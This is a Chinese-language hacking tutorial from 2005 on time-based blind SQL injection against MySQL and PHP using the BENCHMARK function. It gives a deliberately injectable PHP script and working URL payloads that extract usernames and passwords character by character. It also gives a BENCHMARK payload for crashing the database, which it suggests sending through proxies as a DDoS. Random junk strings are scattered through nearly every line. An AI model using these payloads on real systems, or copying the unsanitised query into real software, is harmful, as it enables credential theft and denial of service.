MYSQL中BENCHMARK函数的利用
4 b) n3 {$ V3 h! X本文作者:SuperHei; l# u3 c* s0 @% q! P
文章性质:原创, A* L2 l$ _8 Y$ z
发布日期:2005-01-02+ D$ i; e. ]6 Z$ V
完成日期:2004-07-09
4 s4 m. p% a9 s第一部
3 {# |2 t V" L0 {8 i2 W4 [% y2 ]! [+ z d9 |
利用时间推延进行注射---BENCHMARK函数在注射中的利用
5 k4 h% E0 J& [* e+ ~+ S! \6 P
+ R) ~- y- }' i; B& W& d一.前言/思路* i. L B" L' m1 N
`1 H0 F- o5 k; \( \: _ 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。/ Z2 L5 V& }" I9 M A. x0 v
# g9 f6 G( Q3 w& }. k
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
1 P# B3 O6 T! ?3 Z( T4 t9 y3 R1 f/ Y( q4 ]* g% }' ^2 c5 n
二.关于BENCHMARK函数
1 U4 G4 E# ~3 m# F6 | [, O k* |0 A; r* w( B% @6 @
在MySQL参考手册里可以看到如下描叙: / m- s8 a8 I' n0 q3 _3 ~
& R& a' C" B" T9 U( c
$ t9 F+ M* W) t6 q" z, b/ L- @
--------------------------------------------------------------------------------
/ t" y Y! H1 Y" u0 \- K; G v; U; n) x2 ?) l7 W$ ?
BENCHMARK(count,expr) : A; v5 d, Y4 m( _
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
7 I! ]2 r1 k* \* a2 ?" [' Bmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
; q/ T2 j/ l2 q2 p+----------------------------------------------+
0 S7 x+ x; p9 h# J; B9 || BENCHMARK(1000000,encode("hello","goodbye")) | 5 c. C: m# o! x4 _8 \
+----------------------------------------------+ ; b9 t! @. v5 K. C# q. E
| 0 | 1 Y; \& r+ f. B8 E! I
+----------------------------------------------+ ) [# b( h; ~. \1 o
1 row in set (4.74 sec)
3 ?1 u& t0 a# C8 a9 J6 e0 a% k J& M9 F0 J& v
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。0 l. I, N! i0 f2 _- }
( |& t- A& L! ^4 ~5 ^
# U! a+ U1 _. l* {( g% @--------------------------------------------------------------------------------
' d- `. O0 K8 g- r! i
+ b, V- ?3 K, N- K% V6 G+ b 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
- w; `, l% A6 _, R/ _" B8 d& {1 V/ K: x. H* x
mysql> select md5( 'test' );
5 X1 l; z' X8 R' H8 Y, P. w9 o! c+----------------------------------+
2 M& p8 `# n+ y5 R( ~| md5( 'test' ) |
- l4 R1 d# u; R% |7 S0 l- E+----------------------------------+
[% T% d; O7 @. D' F$ || 098f6bcd4621d373cade4e832627b4f6 |
( N% V- A) V2 D+----------------------------------+ ) w) v1 ~) O7 Y W; U" Z# q
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
0 V5 ]- _3 ]3 H' F, y% q' ]" Q9 Z" h, s! _7 E# ^" G
mysql> select benchmark( 500000, md5( 'test' ) );
6 e* {6 ~& {* L; z# q: M7 N+------------------------------------+ & J& \( m5 }7 H, v/ k
| benchmark( 500000, md5( 'test' ) ) |
6 G* X0 T3 o$ n* W+ ~5 o% ~+------------------------------------+
% }. N* y% R6 V$ _7 `- j. V3 m| 0 |
S. @ j: Y: Z, E4 o$ U5 `+------------------------------------+ , a/ ~8 j# `1 P
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec$ Q1 A- w9 O- _$ {7 F) A) _1 H
4 H/ h/ K8 [$ `8 d0 _; Y
( n% v) P6 M; e5 T6 d 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 + _! ], a0 I7 i
9 [) W3 s* s$ k7 `
三.具体例子" ]$ v" O3 l% r- c+ n
: u% {! m9 s5 \6 \ 首先我们看个简单的php代码:
0 t% @: ?1 F8 A; a6 K* M! n% U2 d6 o4 I* C: [2 B( a; [1 x
< ?php ; x% l# K. Q. p0 R0 v
$servername = "localhost"; 9 Q8 a- C: i4 i9 x5 \9 n
$dbusername = "root";
) v& C$ W+ L7 I" j) L$dbpassword = "";
$ a$ [2 C& u8 y- V5 _+ q! W$dbname = "injection"; ! w0 h8 o' Q% I+ N* a
6 ^$ o0 N$ A- Q7 f2 P) B
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); . y# j* l; {* Q' h Z
6 G, c5 Y8 M3 T, l- ~4 v! f
$sql = "SELECT * FROM article WHERE articleid=$id";
" U4 T& Z1 P6 D$ u# _$result = mysql_db_query($dbname,$sql);
/ {$ b5 _, u9 I6 N& x1 g8 e# I$row = mysql_fetch_array($result); ' A! m+ U# V& K% E- r
$ z* j9 P& k# ^+ R: Y0 [if (!$row)
B+ {! _% z# U{ + N8 I4 t+ W% Y$ u( E' ?
exit; : z7 G. k5 o: O
} ) d- Q2 k$ ^8 i) ]$ \* f5 x
?>& [8 a8 Y+ J7 I4 {* t2 E8 |$ e/ e
4 `/ p9 U M" L- O. G3 D0 h. L
) c% g! P, B( n# D6 _9 B
数据库injection结构和内容如下:
! Q: Y( `( x }* e. d2 J5 a8 X8 P2 n Z" }) L% |/ J
# 数据库 : `injection` 1 }1 C3 @1 Z/ j! k
# ' z$ P& |4 k a3 L$ Q2 y
( `5 u% k( N; j
# --------------------------------------------------------
' ]! X0 y1 [" ]7 }. v' D) r) j8 j2 h0 V5 j
#
' D$ l/ c. G( H6 z* L$ |. K# 表的结构 `article` ( T7 d6 j7 D% K+ |3 s- e
#
- [/ V& t9 b& r/ b% L& B) d' r6 i, S7 B5 g- O/ k
CREATE TABLE `article` ( 0 y5 p1 c) X/ y
`articleid` int(11) NOT NULL auto_increment,
) Q1 I$ M' w! q`title` varchar(100) NOT NULL default '',
5 l" ~1 A- v, \5 }`content` text NOT NULL,
1 b/ [! \) c2 D7 w3 ]" oPRIMARY KEY (`articleid`)
3 }- ~4 u! P C3 C+ V+ s. v8 z/ S1 l) TYPE=MyISAM AUTO_INCREMENT=3 ;
& b3 O8 C" {7 Y+ p: r; n; d' w1 w" Q5 [" Q- b4 q( |- _! A0 O+ q
# 1 s6 H' d: {' @; |; @9 ], ]
# 导出表中的数据 `article`
! ]& J# ]0 [9 D0 A7 u. e# , y/ \2 h3 j o5 Z* ~+ C5 U0 g
1 J3 s ?3 d& q# w* D) G
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
2 X! U; g N" Y, D0 AINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
% h5 ^1 K% Z5 u8 w3 B& p3 A$ Q' l9 O
) K$ V& c% Z% t- T4 F3 e) Z+ b4 e3 H# -------------------------------------------------------- 4 }& ?/ }: ^9 J6 A- W' a* D& o
' o2 e6 X& A) ~ }! L
#
* O( T" K( |) o* _/ H: m9 H# 表的结构 `user`
" z" J! l( ]) g3 F% `. F$ S# ! u0 O6 Z$ y0 ?2 _& G$ E
' i& b& E, \! O0 `% K; ICREATE TABLE `user` ( 3 O2 Z; T# x. Z( p, q
`userid` int(11) NOT NULL auto_increment,
) R3 m/ K* u& D0 _2 f2 i( O1 v. Q`username` varchar(20) NOT NULL default '', ! J) S" h7 \# b% Z# C
`password` varchar(20) NOT NULL default '',
! L3 A. h# i0 `8 M( s2 NPRIMARY KEY (`userid`)
/ i9 w8 i7 y. P' l) TYPE=MyISAM AUTO_INCREMENT=3 ; & [# i6 `, J2 J4 S; y
; N6 p5 r9 o# J! s! ~0 |( b8 g
# & l3 x5 _" x" @
# 导出表中的数据 `user` 2 K! F# ?' a" ]; B; p
# 4 D5 m' X) ~% r; z6 u
7 C8 c) k; [" V9 Z/ P6 [* a" A
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 Y, w4 t- [ J$ J& Z4 x: A" ~+ eINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
' o. H- s* `8 u: x$ w# }9 W/ w/ t
4 g$ s; _' U' z7 y
p J& }: l2 d4 r, k+ d" x 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:) x" h+ b/ J$ Y* S
* r* M$ Y. G( Z$ R/ y: Lid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*. x. _$ \8 [' y' q7 ^/ @/ q
- b2 }0 o6 \# e+ f- m. T5 X6 A
7 ~- C9 o( g0 b 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
9 I1 r* c& Q+ x* m1 y- K! ^! d! V
, |2 h! a% Q$ c1 o5 s, qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
& f( D% I) k2 p) @ s5 M
# I% T0 `4 X& ?9 ]8 l0 D- o' L( I. U; G. G+ m+ d8 Q
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
; l3 W: M; V0 n, {) k0 C" H, y) w- t8 P. K8 k
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 / D: P8 s6 h% U2 n' {
2 g2 _- D( ]( N, c, W7 {$ d- H第二部
8 [' V: g3 ]2 X. ~( P ?1 j7 X' Y* }7 o
利用BENCHMARK函数进行ddos攻击 & [* I$ C" o0 [: |1 Q. E# \
' A' B% b$ j j; Z! Q1 e- k 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:0 H8 H6 Z; \9 m* r" t
# c% |0 k3 n- v# O3 r2 e& Ahttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" I- s2 o2 w0 z: i( Z
- H4 I$ e; a, l/ K
* F( Q- c: d- e* `小结* D% E( U% r) O6 x+ ^! s# l' c
. N3 F( }- U! k/ D" M
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。$ I% q1 V) D" ~2 H0 s* i2 B! C
& X- b+ k/ ^5 Q" B3 t! a1 M & B7 _9 ^# `7 d+ ]# S' Q: m' n0 E7 w
|